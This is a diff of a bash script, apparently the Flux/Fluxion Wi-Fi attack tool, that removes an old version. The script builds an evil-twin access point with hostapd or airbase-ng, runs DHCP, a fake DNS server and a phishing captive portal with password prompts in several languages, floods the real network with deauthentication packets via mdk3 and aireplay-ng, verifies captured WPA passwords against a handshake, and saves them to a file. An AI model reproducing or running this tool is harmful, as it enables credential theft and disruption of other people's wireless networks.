DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT - DIALOG_WEB_OK=$DIALOG_WEB_OK_IT - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -#create an empty leases file -touch $DUMP_PATH/dhcpd.leases - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" >$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & - elif [ $fakeapmode = "airbase-ng" ]; then - killall airbase-ng &> $flux_output_device - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & - fi - sleep 5 - - routear & - sleep 3 - - - killall dhcpd &> $flux_output_device - xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & - killall $(netstat -lnptu | grep ":53" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e python $DUMP_PATH/fakedns & - - killall $(netstat -lnptu | grep ":80" | grep "LISTEN" | awk '{print $7}' | cut -d "/" -f 2) &> $flux_output_device - lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device - - killall aireplay-ng &> $flux_output_device - killall mdk3 &> $flux_output_device - echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - - xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & - conditional_clear - - while true; do - mostrarheader - - echo "Attack in progress .." - echo " " - echo " 1) Choose another network" - echo " 2) Exit" - echo " " - echo -n ' #> ' - read yn - case $yn in - 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; - 2 ) matartodo; exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Checks the validity of the password -function handshakecheck { - - echo "#!/bin/bash - - echo > $DUMP_PATH/data.txt - echo -n \"0\"> $DUMP_PATH/hit.txt - echo "" >$DUMP_PATH/loggg - - tput civis - clear - - minutos=0 - horas=0 - i=0 - timestamp=\$(date +%s) - - while true; do - - segundos=\$i - dias=\`expr \$segundos / 86400\` - segundos=\`expr \$segundos % 86400\` - horas=\`expr \$segundos / 3600\` - segundos=\`expr \$segundos % 3600\` - minutos=\`expr \$segundos / 60\` - segundos=\`expr \$segundos % 60\` - - if [ \"\$segundos\" -le 9 ]; then - is=\"0\" - else - is= - fi - - if [ \"\$minutos\" -le 9 ]; then - im=\"0\" - else - im= - fi - - if [ \"\$horas\" -le 9 ]; then - ih=\"0\" - else - ih= - fi">>$DUMP_PATH/handcheck - - if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then - - if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo " - wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & - wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & - - if [ -f $DUMP_PATH/intento ]; then - - if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then - echo \"2\">$DUMP_PATH/intento - break - else - echo \"1\">$DUMP_PATH/intento - fi - - fi - ">>$DUMP_PATH/handcheck - fi - - echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) - - echo - echo -e \" PUNTO DE ACCESO:\" - echo -e \" Number..........: "$white"$Host_SSID"$transparent"\" - echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" - echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" - echo -e \" Brand...........: "$green "$Host_MAC_MODEL"$transparent"\" - echo -e \" Operation time...: "$grey"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" - echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" - echo -e \" Clientes........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$transparent"\" - echo - echo -e \" CLIENTES ONLINE:\" - - x=0 - for cliente in \"\${CLIENTESDHCP[@]}\"; do - x=\$((\$x+1)) - CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) - CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) - - if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then - CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" - fi - - CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) - - if echo \$CLIENTE_MAC| grep -q x; then - CLIENTE_FABRICANTE=\"unknown\" - fi - - CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) - - echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" - done - - echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "let i=\$(date +%s)-\$timestamp - sleep 1">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "sleep 5 - - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - let i=\$i+5">>$DUMP_PATH/handcheck - fi - - echo "done - clear - echo \"1\" > $DUMP_PATH/status.txt - - sleep 7 - - killall mdk3 &>$flux_output_device - killall aireplay-ng &>$flux_output_device - killall airbase-ng &>$flux_output_device - kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall wpa_supplicant &>$flux_output_device - killall wpa_passphrase &>$flux_output_device - - echo \" - FLUX $version by deltax - - SSID: $Host_SSID - BSSID: $Host_MAC ($Host_MAC_MODEL) - Channel: $Host_CHAN - Security: $Host_ENC - Time: \$ih\$horas:\$im\$minutos:\$is\$segundos - Password: \$(cat $DUMP_PATH/data.txt) - \" >$HOME/$Host_SSID-password.txt">>$DUMP_PATH/handcheck - - - if [ $authmode = "handshake" ]; then - echo "aircrack-ng -a 2 -b $Host_MAC -0 -s $DUMP_PATH/$Host_MAC-01.cap -w $DUMP_PATH/data.txt && echo && echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\" - ">>$DUMP_PATH/handcheck - - elif [ $authmode = "wpa_supplicant" ]; then - echo "echo -e \"Se ha guardado en "$red"$HOME/$Host_SSID-password.txt"$transparent"\"">>$DUMP_PATH/handcheck - fi - - echo "kill -INT \$(ps a | grep bash| grep flux | awk '{print \$1}') &>$flux_output_device">>$DUMP_PATH/handcheck - chmod +x $DUMP_PATH/handcheck -} - - -############################################# < ATTACK > ############################################ - - - - - - -############################################## < STUFF > ############################################ - -# Deauth all -function deauthall { - - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a todos de $Host_SSID" -e aireplay-ng --deauth $DEAUTHTIME -a $Host_MAC --ignore-negative-one $WIFI_MONITOR & -} - -function deauthmdk3 { - - echo "$Host_MAC" >$DUMP_PATH/mdk3.txt - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & - mdk3PID=$! - sleep 15 - kill $mdk3PID &>$flux_output_device -} - -# Deauth to a specific target -function deauthesp { - - sleep 2 - xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautenticando a $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & -} - -# Close all processes -function matartodo { - - killall aireplay-ng &>$flux_output_device - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - killall hostapd &>$flux_output_device - killall lighttpd &>$flux_output_device - killall dhcpd &>$flux_output_device - killall xterm &>$flux_output_device - -} - - - -############################################## < STUFF > ############################################ - - - - - - -######################################### < INTERFACE WEB > ######################################## - -# Create the contents for the web interface -function NEUTRA { - - if [ ! -d $DUMP_PATH/data ]; then - mkdir $DUMP_PATH/data - fi - -echo "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 diff --git a/old/version.1/flux-old b/old/version.1/flux-old deleted file mode 100644 index d15f802..0000000 --- a/old/version.1/flux-old +++ /dev/null @@ -1,4594 +0,0 @@ -#!/bin/bash - -########## Mode DEBUG ########## -## ## - FLUX_DEBUG=1 -## ## -################################ - -#Um sofort in den Entwickler Modus zu gelangen einfach FLUX_DEBUG auf 1 setzen - - -##################################### < CONFIGURATION SCRIPT > ##################################### -clear -# Dump PATH -DUMP_PATH="/tmp/TMPflux" -# Anzahl de desautentificaciones -deAUTHTIME="8" -# Anzahl der Wiederhohlungen -Wiederhohlung=35 -# Version -version=1.35 -# IP DHCP -IP=192.168.1.1 -# Erstellen von Netzwerkvariblen -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Farben -weis="\033[1;37m" -grau ="\033[0;37m" -magenta="\033[0;35m" -rot="\033[1;31m" -gruen="\033[1;32m" -gelb="\033[1;33m" -blau="\033[1;34m" -transparent="\e[0m" - - -# Normaler Modus oder Entwickler Modus -if [ $FLUX_DEBUG = 1 ]; then - ## Entwickler Modus - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normaler Modus - export flux_output_device=/dev/null - HOLD="" -fi - -# Löscht Daten, falls FLUX_DEBUG=0 {Normaler Modus} -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -# Version wird überprüft -# Und nach Updates gesucht -# Momentan funktioniert dies nicht -function checkupdatess { - - Wiederhohlung_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/flux" 2>/dev/null| grep "^Wiederhohlung" | cut -d "=" -f2)" - if [ -z "$Wiederhohlung_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$Wiederhohlung_online">$DUMP_PATH/Irev - fi - -} - -# Animationen -# Siehe Start -function spinner { - - local pid=$1 - local ay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $ay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# Bei Fehlern nur im DEBUG Modus angezeigt -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# Zeigt Fehler an -function err_report { - echo "Error en la linea $1" -} - - -trap exitmode SIGINT - -# Eventuelle Störungen werden hiermit verhindert -function exitmode { - - echo -e "\n\n"$weis"["$rot" "$weis"] "$rot"Laufende Reinigung und Schließung."$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Töte "$grau "aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Töte "$grau "airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Töte "$grau "python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Töte "$grau "hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Töte "$grau "lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Töte "$grau "dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Töte "$grau "mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"V "$gruen"$WIFI_MONITOR"$transparent"" - airmon-ng stop $WIFI_MONITOR &> $flux_output_device - fi - - if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Stoppen von Schnittstellentraffic "$gruen"$WIFI"$transparent"" - airmon-ng stop $WIFI &> $flux_output_device - fi - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Wiederherstellung "$grau "ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$weis"["$rot"-"$weis"] "$weis"Limpiando "$grau "iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --ete-chain - iptables --table nat --ete-chain - - echo -e ""$weis"["$rot"-"$weis"] "$weis"Wiederherstellung "$grau "tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$weis"["$rot"-"$weis"] "$weis"Beseitigen "$grau "archivos"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$weis"["$rot"-"$weis"] "$weis"Neustart "$grau "NetworkManager"$transparent"" - service restart networkmanager &> $flux_output_device & - - echo -e ""$weis"["$gruen"+"$weis"] "$gruen"Reinigung erfolgreich durchgeführt!"$transparent"" - exit - -} - -# Erzeugt eine Liste aller Schnittstellen -readarray -t webinterfaces < <(echo -e "Schnittstelle -\e[1;31mSalir"$transparent"" -) - -# Erzeugt eine Liste aller Sprachen -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mAtras"$transparent"" -) - -#deutsch -#DIALOG_WEB_INFO_GER="Um ihre Identität zu bestätigen geben sie bitte "$Host_ENC" #das WPA2 Passwort ein, um wieder den zugang zum Internet zu erhalten" -#DIALOG_WEB_INPUT_GER="Geben sie das WPA2 Passwort ein" -#DIALOG_WEB_SUBMIT_GER="Bestätigen" -#DIALOG_WEB_ERROR_GER="Error: Das eingegebene #Passwort ist nicht korrekt!" -#DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen sekunden wieder hergestellt" -#DIALOG_WEB_BACK_GER="Zurück" -#DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen haben" -#DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss weniger als 64 Zeichen haben" - -#englisch -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#spannisch -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#italienisch -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#französisch -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#portugiesisch -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Muestra el mensaje principal script -function mostrarheader(){ - clear - conditional_clear - echo -e "$gruen#########################################################" - echo -e "$gruen# #" - echo -e "$gruen#$rot FLUX $version" "${gelb}by ""${blau}DELTAX""$gruen #" - echo -e "$gruen#""${rot} F""${gelb}lux" "${rot}I""${gelb}s" "${rot}N""${gelb}ot a 